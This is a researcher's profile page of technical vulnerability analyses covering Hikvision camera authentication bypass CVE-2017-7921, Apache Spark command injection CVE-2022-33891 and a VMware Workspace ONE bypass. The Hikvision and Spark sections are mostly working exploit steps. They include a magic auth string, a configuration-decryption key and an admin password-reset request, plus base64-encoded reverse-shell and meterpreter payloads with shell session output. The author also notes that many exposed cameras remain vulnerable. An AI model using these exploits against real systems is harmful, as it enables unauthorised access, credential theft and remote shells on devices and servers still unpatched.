h00die-gr3y (8)

Last Login: October 03, 2022
Assessments
3
Score
8

h00die-gr3y's Latest (4) Contributions

Sort by:
Filter by:
1
Ratings
Technical Analysis

Recently, I bumped into a bunch of Hikvision camera’s during a security engagement and surprise, surprise, they were all vulnerable against this old vulnerability CVE-2017-7921 discovered by Monte Crypto in September 2017. You can find his write up here: https://packetstormsecurity.com/files/144097/Hikvision-IP-Camera-Access-Bypass.html.

It made me curious, because we are five years further in the game and it looks that the majority of the Hikvison camera’s and other white-labelled versions are still vulnerable.
I ran a quick scan with Shodan (search: “App-webs” “200 OK”) and it returns around 160.000 potential targets where, based on my quick assessment, probably 20% remains vulnerable !!!

This is of course bad or good news depending which side you are on ;–), but regardless if you are a good or bad actor, it does make sense to revisit this old timer once more again.

A small deep dive into the problem

Many Hikvision IP cameras contain a backdoor have improper authorization logic that allows unauthenticated impersonation of any configured user account.
The basics of this vulnerability is very simple.

Updated based on the comment of @gwillcox-r7
Our dear programmers from Hikvision left a piece of a code in the vulnerable firmware that has a hard coded magic string that bypasses all security on the camera and will provide full admin access. Our dear programmers from Hikvision developed proprietary HikCGI protocol, which exposes URI endpoints through the camera’s web interface. The HikCGI protocol handler checks for the presence of a parameter named auth in the query string and if that parameter contains a base64-encoded username:password string, the HikCGI API call assumes the identity of the specified user and the password is ignored.
Using user admin bypasses all security on the camera and allows an attacker to completely control the camera and modify any setting or retrieve sensible information.

You use any combination of base64 encoded admin:password string, such as the one below.

# echo "admin:11" | base64
YWRtaW46MTEK

All what is needed is to append this magic string ?auth=YWRtaW46MTEK to GET and POST queries to access the camera with administrative privileges and do whatever you want.

Examples are:
Retrieve a list of all users and their roles: http://camera.ip/Security/users?auth=YWRtaW46MTEK
Obtain a camera snapshot without authentication: http://camera.ip/onvif-http/snapshot?auth=YWRtaW46MTEK
or one can download the camera configuration: http://camera.ip/System/configurationFile?auth=YWRtaW46MTEK

And the use cases for exploitation are numerous, as described in the HIKCGI Integration Guide and IP Media Device Management Protocol User Guide from Hikvision.

Let me take two use cases to show how easy it is to retrieve users and passwords and change them.

First of all, if you want to retrieve the users and passwords, just first pull the configuration file from the vulnerable camera using the magic string.

curl http://camera.ip/System/configurationFile?auth=YWRtaW46MTEK --output configurationFile

You should get a file named configurationFile which holds all camera information including the user and password information in plain text.
However this file is encrypted (rather weak ;-0), so we need to decrypt it first.

There is a nice tool made by WormChickenWizard that will the job for us. Check it out, but for now I just apply the logic that he described in his README.md.

First decrypt the configurationFile with following command:

openssl enc -d -in configurationFile -out decryptedoutput -aes-128-ecb -K 279977f62f6cfd2d91cd75b889ce0c9a -nosalt -md md5

The AES encryption is now broken but the decryptedoutput file is still xor encoded.
Use the tool from WormChickenWizard to decrypt the decrytedoutput file to create a readable format that we can view with a hex editor to search for the users and passwords in plain text format.

java XORDecode

You should now have a file called plaintextOutput file that you can inspect with a hex viewer or editor.

hexedit plaintextOutput

You will see output like this and the first admin and password you will find is the default admin password when your perform a factory reset (I love these Hikvision developers ;–)

00008358   02 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  ....................................
0000837C   00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  ....................................
000083A0   00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  ....................................
000083C4   00 00 00 00  61 64 6D 69  6E 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  ....admin...........................
000083E8   31 32 33 34  35 00 00 00  00 00 00 00  00 00 00 00  FF FF FF FF  00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  12345...............................
0000840C   00 00 00 00  00 00 00 00  00 00 00 00  00 00 02 02  00 00 00 00  FF FF FF FF  00 00 00 00  FF FF FF FF  00 00 00 00  ....................................
00008430   FF FF FF FF  00 00 00 00  FF FF FF FF  00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  ....................................
00008454   00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  ....................................
00008478   00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  ....................................
---  plaintextOutput       --0x801C/0xD8B30--4%---------------------------------------------------------------------------------------------------------------------

If you search a bit further, you will find the actual users and passwords. In this case two users (admin and admln)

000A7BD4   00 00 00 00  08 10 00 00  00 00 00 00  61 64 6D 69  6E 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  ............admin...................
000A7BF8   00 00 00 00  00 00 00 00  50 61 24 24  57 30 72 64  00 00 00 00  00 00 00 00  FF FF FF FF  00 00 00 00  00 00 00 00  ........Pa$$W0rd....................
000A7C1C   00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  00 00 02 02  00 00 00 00  FF FF FF FF  00 00 00 00  ....................................
000A7C40   FF FF FF FF  00 00 00 00  FF FF FF FF  00 00 00 00  FF FF FF FF  00 00 00 00  61 64 6D 6C  6E 00 00 00  00 00 00 00  ........................admln.......
000A7C64   00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  61 73 64 66  31 32 33 34  00 00 00 00  00 00 00 00  ....................asdf1234........
000A7C88   00 70 0D 00  00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  00 00 02 01  .p..................................
000A7CAC   00 00 00 00  01 00 00 00  00 00 00 00  01 00 00 00  00 00 00 00  01 00 00 00  00 00 00 00  01 00 00 00  00 00 00 00  ....................................
---  plaintextOutput       --0xA7850/0xD8B30--77%-------------------------------------------------------------------------------------------------------------------

Now if this is all too much effort, you can also decide to just reset the admin password with a new password.
The HTML code for that is pretty simple and can be easily executed using burp

Note: The new password should at least have 2 UPPERCASE, 2 lowercase and 2 special characters, otherwise it will not be accepted.

Burp request:

PUT /Security/users/1?auth=YWRtaW46MTEK HTTP/1.1

<?xml version="1.0" encoding="UTF-8"?>
<User version="1.0" xmlns="http://www.hikvision.com/ver10/XMLSchema">
<id>1</id>
<userName>admin</userName>
<password>Pa$$W0rd</password>
</User>

To fix CVE-2017-7921, we recommend that users upgrade their Hikvision firmware to the latest version, but looking at the number of vulnerable camera’s out there, this will probably not help :–(.

References

I have added a reference to a Metasploit module that I developed and checks for a vulnerable camera and does the password reset for you.
I am currently updating the functionality of this module with some more actions to retrieve the config file, make a snapshot, enumerate the users and other stuff…
This module will be submitted shortly to the mainstream of Metasploit for acceptance of the Rapid7 development team.

Metasploit Hikvision module –> https://github.com/h00die-gr3y/Metasploit/

Update 24 September 2022:
Metasploit Hikvision module has been released to the mainstream –> https://github.com/rapid7/metasploit-framework/pull/17033

1

Hi @gwillcox-r7
Of course I am happy to contribute and add the module to the main stream of Metasploit.
I am not really familiar with the PR process, so you need to guide me here…

Please send me some instructions per e-mail so I can follow the process…
Thanks !

2
Ratings
Technical Analysis

Apache Spark released the latest security bulletin on July 18, which contains a shell command injection vulnerability (CVE-2022-33891). The security researcher Kostya Kortchinsky (Databricks) has been credited with reporting this flaw.

What is exactly the issue?
In the vulnerable versions of Apache Spark, a non-default setting called spark.acls.enable true triggers a shell command injection code vulnerability. This piece of code is responsible to check the permission of an user using a bash command shell in combination with the unix id command. Ironically the spark.acls.enable true configuration setting is designed to improve the security access within the Spark application, but unfortunately this configuration setting triggers the vulnerable code below.

  private def getUnixGroups(username: String): Set[String] = {
    val cmdSeq = Seq("bash", "-c", "id -Gn " + username)
    // we need to get rid of the trailing "\n" from the result of command execution
    Utils.executeAndGetOutput(cmdSeq).stripLineEnd.split(" ").toSet
    Utils.executeAndGetOutput(idPath ::  "-Gn" :: username :: Nil).stripLineEnd.split(" ").toSet
  }
}

You can trigger this very easily using ?doAs parameter passing a raw Linux command:

http://<spark-ip>:8080/?doAs=`[command injection here]`

User commands are processed through ?doAs parameter and nothing reflected back on the page during command execution, so this is a blind OS injection.

To demonstrate this vulnerability, download a vulnerable Spark docker image from dockerhub (https://hub.docker.com/).

  1. Startup the Docker image
  2. In a new terminal, enter sudo docker exec -it spark_spark_1 /bin/bash
  3. In the container bash session, enter: echo "spark.acls.enable true" >> conf/spark-defaults.conf
  4. Restart docker image

Craft the command injection.
We will use a simple reverse shell payload: sh -i >& /dev/tcp/192.168.201.8/4444 0>&1

# echo 'sh -i >& /dev/tcp/192.168.201.8/4444 0>&1' | base64
c2ggLWkgPiYgL2Rldi90Y3AvMTkyLjE2OC4yMDEuOC80NDQ0IDA+JjEK
# curl -d 'doAs=`echo c2ggLWkgPiYgL2Rldi90Y3AvMTkyLjE2OC4yMDEuOC80NDQ0IDA+JjEK | base64 -d | bash`' -X POST http://192.168.201.37:8080/data

Netcat listener

# nc -nvlp 4444
listening on [any] 4444 ...
connect to [192.168.201.8] from (UNKNOWN) [192.168.201.37] 65314
$ whoami
spark

Other example with Metasploit using python meterpreter
Setup and start the handler…

msf6 exploit(multi/handler) > exploit -j -z
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.

[*] Started reverse TCP handler on 0.0.0.0:4444
msf6 exploit(multi/handler) > jobs

Jobs
====

  Id  Name                    Payload                         Payload opts
  --  ----                    -------                         ------------
  0   Exploit: multi/handler  python/meterpreter/reverse_tcp  tcp://0.0.0.0:4444

Craft the payload with msfvenom

#  msfvenom -p python/meterpreter/reverse_tcp LHOST=192.168.201.8 LPORT=4444 -f raw
[-] No platform was selected, choosing Msf::Module::Platform::Python from the payload
[-] No arch selected, selecting arch: python from the payload
No encoder specified, outputting raw payload
Payload size: 497 bytes
exec(__import__('base64').b64decode(__import__('codecs').getencoder('utf-8')('aW1wb3J0IHNvY2tldCx6bGliLGJhc2U2NCxzdHJ1Y3QsdGltZQpmb3IgeCBpbiByYW5nZSgxMCk6Cgl0cnk6CgkJcz1zb2NrZXQuc29ja2V0KDIsc29ja2V0LlNPQ0tfU1RSRUFNKQoJCXMuY29ubmVjdCgoJzE5Mi4xNjguMjAxLjgnLDQ0NDQpKQoJCWJyZWFrCglleGNlcHQ6CgkJdGltZS5zbGVlcCg1KQpsPXN0cnVjdC51bnBhY2soJz5JJyxzLnJlY3YoNCkpWzBdCmQ9cy5yZWN2KGwpCndoaWxlIGxlbihkKTxsOgoJZCs9cy5yZWN2KGwtbGVuKGQpKQpleGVjKHpsaWIuZGVjb21wcmVzcyhiYXNlNjQuYjY0ZGVjb2RlKGQpKSx7J3MnOnN9KQo=')[0]))

Code the payload…

# echo "python -c \"exec(__import__('base64').b64decode(__import__('codecs').getencoder('utf-8')('aW1wb3J0IHNvY2tldCx6bGliLGJhc2U2NCxzdHJ1Y3QsdGltZQpmb3IgeCBpbiByYW5nZSgxMCk6Cgl0cnk6CgkJcz1zb2NrZXQuc29ja2V0KDIsc29ja2V0LlNPQ0tfU1RSRUFNKQoJCXMuY29ubmVjdCgoJzE5Mi4xNjguMjAxLjgnLDQ0NDQpKQoJCWJyZWFrCglleGNlcHQ6CgkJdGltZS5zbGVlcCg1KQpsPXN0cnVjdC51bnBhY2soJz5JJyxzLnJlY3YoNCkpWzBdCmQ9cy5yZWN2KGwpCndoaWxlIGxlbihkKTxsOgoJZCs9cy5yZWN2KGwtbGVuKGQpKQpleGVjKHpsaWIuZGVjb21wcmVzcyhiYXNlNjQuYjY0ZGVjb2RlKGQpKSx7J3MnOnN9KQo=')[0]))\"" | base64
cHl0aG9uIC1jICJleGVjKF9faW1wb3J0X18oJ2Jhc2U2NCcpLmI2NGRlY29kZShfX2ltcG9ydF9f
KCdjb2RlY3MnKS5nZXRlbmNvZGVyKCd1dGYtOCcpKCdhVzF3YjNKMElITnZZMnRsZEN4NmJHbGlM
R0poYzJVMk5DeHpkSEoxWTNRc2RHbHRaUXBtYjNJZ2VDQnBiaUJ5WVc1blpTZ3hNQ2s2Q2dsMGNu
azZDZ2tKY3oxemIyTnJaWFF1YzI5amEyVjBLRElzYzI5amEyVjBMbE5QUTB0ZlUxUlNSVUZOS1Fv
SkNYTXVZMjl1Ym1WamRDZ29KekU1TWk0eE5qZ3VNakF4TGpnbkxEUTBORFFwS1FvSkNXSnlaV0Zy
Q2dsbGVHTmxjSFE2Q2drSmRHbHRaUzV6YkdWbGNDZzFLUXBzUFhOMGNuVmpkQzUxYm5CaFkyc29K
ejVKSnl4ekxuSmxZM1lvTkNrcFd6QmRDbVE5Y3k1eVpXTjJLR3dwQ25kb2FXeGxJR3hsYmloa0tU
eHNPZ29KWkNzOWN5NXlaV04yS0d3dGJHVnVLR1FwS1FwbGVHVmpLSHBzYVdJdVpHVmpiMjF3Y21W
emN5aGlZWE5sTmpRdVlqWTBaR1ZqYjJSbEtHUXBLU3g3SjNNbk9uTjlLUW89JylbMF0pKSIK

Execute the payload…

# curl -d 'doAs=`echo cHl0aG9uIC1jICJleGVjKF9faW1wb3J0X18oJ2Jhc2U2NCcpLmI2NGRlY29kZShfX2ltcG9ydF9fKCdjb2RlY3MnKS5nZXRlbmNvZGVyKCd1dGYtOCcpKCdhVzF3YjNKMElITnZZMnRsZEN4NmJHbGlMR0poYzJVMk5DeHpkSEoxWTNRc2RHbHRaUXBtYjNJZ2VDQnBiaUJ5WVc1blpTZ3hNQ2s2Q2dsMGNuazZDZ2tKY3oxemIyTnJaWFF1YzI5amEyVjBLRElzYzI5amEyVjBMbE5QUTB0ZlUxUlNSVUZOS1FvSkNYTXVZMjl1Ym1WamRDZ29KekU1TWk0eE5qZ3VNakF4TGpnbkxEUTBORFFwS1FvSkNXSnlaV0ZyQ2dsbGVHTmxjSFE2Q2drSmRHbHRaUzV6YkdWbGNDZzFLUXBzUFhOMGNuVmpkQzUxYm5CaFkyc29KejVKSnl4ekxuSmxZM1lvTkNrcFd6QmRDbVE5Y3k1eVpXTjJLR3dwQ25kb2FXeGxJR3hsYmloa0tUeHNPZ29KWkNzOWN5NXlaV04yS0d3dGJHVnVLR1FwS1FwbGVHVmpLSHBzYVdJdVpHVmpiMjF3Y21WemN5aGlZWE5sTmpRdVlqWTBaR1ZqYjJSbEtHUXBLU3g3SjNNbk9uTjlLUW89JylbMF0pKSIK | base64 -d | bash`' -X POST http://192.168.201.37:8080/data

Meterpreter session…

msf6 exploit(multi/handler) >
[*] Sending stage (40168 bytes) to 192.168.201.37
[*] Meterpreter session 4 opened (192.168.201.8:4444 -> 192.168.201.37:49487) at 2022-08-19 21:12:25 +0000

msf6 exploit(multi/handler) > sessions -i 4
[*] Starting interaction with 4...

meterpreter > shell
Process 258 created.
Channel 1 created.
uname -a
Linux 7a26a9fb7ce3 5.10.104-linuxkit #1 SMP Thu Mar 17 17:08:06 UTC 2022 x86_64 GNU/Linux
ps ax
  PID TTY      STAT   TIME COMMAND
    1 ?        Ss     0:00 bash /opt/bitnami/spark/sbin/start-master.sh
   33 ?        S      0:00 bash /opt/bitnami/spark/sbin/spark-daemon.sh start org.apache.spark.deploy.master.Master 1 --host 7a26a9fb7ce3 --port 7077 --webui-port 8080
   38 ?        Sl     6:08 /opt/bitnami/java/bin/java -cp /opt/bitnami/spark/conf/:/opt/bitnami/spark/jars/* -Xmx1g org.apache.spark.deploy.master.Master --host 7a26a9fb7ce3 --port 7077 --webui-port 8080
  216 pts/0    Ss+    0:00 /bin/sh
  245 pts/1    Ss+    0:00 /bin/sh
  254 ?        Rsl    0:04 python -c exec(__import__('base64').b64decode(__import__('codecs').getencoder('utf-8')('aW1wb3J0IHNvY2tldCx6bGliLGJhc2U2NCxzdHJ1Y3QsdGltZQpmb3IgeCBpbiByYW5nZSgxMCk6Cgl0cnk6CgkJcz1zb2NrZXQuc29ja2V0KDIsc29ja2V0LlNPQ0tfU1RSRUFNKQoJCXMuY29ubmVjdCgoJzE5Mi4xNjguMjAxLjgnLDQ0NDQpKQoJCWJyZWFrCglleGNlcHQ6CgkJdGltZS5zbGVlcCg1KQpsPXN0cnVjdC51bnBhY2soJz5JJyxzLnJlY3YoNCkpWzBdCmQ9cy5yZWN2KGwpCndoaWxlIGxlbihkKTxsOgoJZCs9cy5yZWN2KGwtbGVuKGQpKQpleGVjKHpsaWIuZGVjb21wcmVzcyhiYXNlNjQuYjY0ZGVjb2RlKGQpKSx7J3MnOnN9KQo=')[0]))
  258 ?        S      0:00 /bin/sh
  270 ?        R      0:00 ps ax

To fix CVE-2022-33891, we recommend that users upgrade the Apache Spark to version 3.1.3, 3.2.2, or 3.3.0 or later in time.

References

I have added a reference to a Metasploit module that I developed and a reference to a nice POC from HuskyHacks.

Metasploit Apache Spark Module –> https://github.com/h00die-gr3y/Metasploit/
POC cve-2022-33891 –> https://github.com/HuskyHacks/cve-2022-33891

2
Ratings
Technical Analysis

Researcher Petrus Viet submitted his technical analysis explaining an authentication bypass vulnerability affecting local domain users. A malicious actor with network access to the UI may be able to obtain administrative access without the need to authenticate for VMware Workspace ONE Access, Identity Manager and vRealize Automation.
Please see this reference for the details: https://petrusviet.medium.com/dancing-on-the-architecture-of-vmware-workspace-one-access-eng-ad592ae1b6dd

A quick summary of his write-up can be found here.


Basically this vulnerability is related to another authentication bypass (CVE-2022–22972) that was discovered in May 2022 (see reference https://blog.assetnote.io/2022/05/27/understanding-cve-2022-22972-vmware-workspace-one-access/) and was also analysed in detail by Rapid7 (see reference https://attackerkb.com/topics/Ur2L7rHv2F/cve-2022-22972).

The java web architecture is based on a listener->filter->servlet construct to send web request to a java web container.
Petrus discovered that you can use the UrlRewriteFilter layer which is responsible for mapping requests to some internal servlets based on predefined rules (in the WEB-INF/urlrewrite.xml file) to read arbitrary files.

One particular predefined rule with the regex “^/t/([^/])((|/)(((?!META-INF| WEB-INF).)))” will filter any request which has the path math and will map it to servlet “/$3” allowing attackers to read arbitrary files at WEB-INF.

Example:
Based on the regex, we can easily see that the request needs to start with “/SAAS/t/_/;/”, so for the request based on the rule with the path “/SAAS/t/_/;/WEB-INF/web.xml” it will be mapped to “/WEB-INF/web.xml”

With CVE-2022–22972 in the back of our mind, this vulnerability can be easily exploited to bypass the patch applied for CVE-2022-22972, where the developers added a HostHeaderFilter class to the filter chain to block all requests with a host header that doesn’t point to the server.

By manipulating the path “/auth/login/embeddedauthbroker/callback” using the path “/SAAS/t/_/;/auth/login/embeddedauthbroker/callback” based on the predefined rule early explained, it will bypass the HostHeaderFilter class, hence you can bypass the authentication again on a patched server.

There is a POC from horizon3ai at GitHub for CVE-2022–22972 (https://github.com/horizon3ai/CVE-2022-22972) that can be reused to test this vulnerability.

Combining this vulnerability with CVE-2022-31659 that allows remote code execution once the malicious user obtains administrator privileges makes VMware Workspace ONE Access, Identity Manager and vRealize Automation targets again.

VMWare has released patches (https://www.vmware.com/security/advisories/VMSA-2022-0021.html) for both CVEs, and it is recommended that all VMWare Workspace ONE clients apply these patches immediately to mitigate potential exploitation.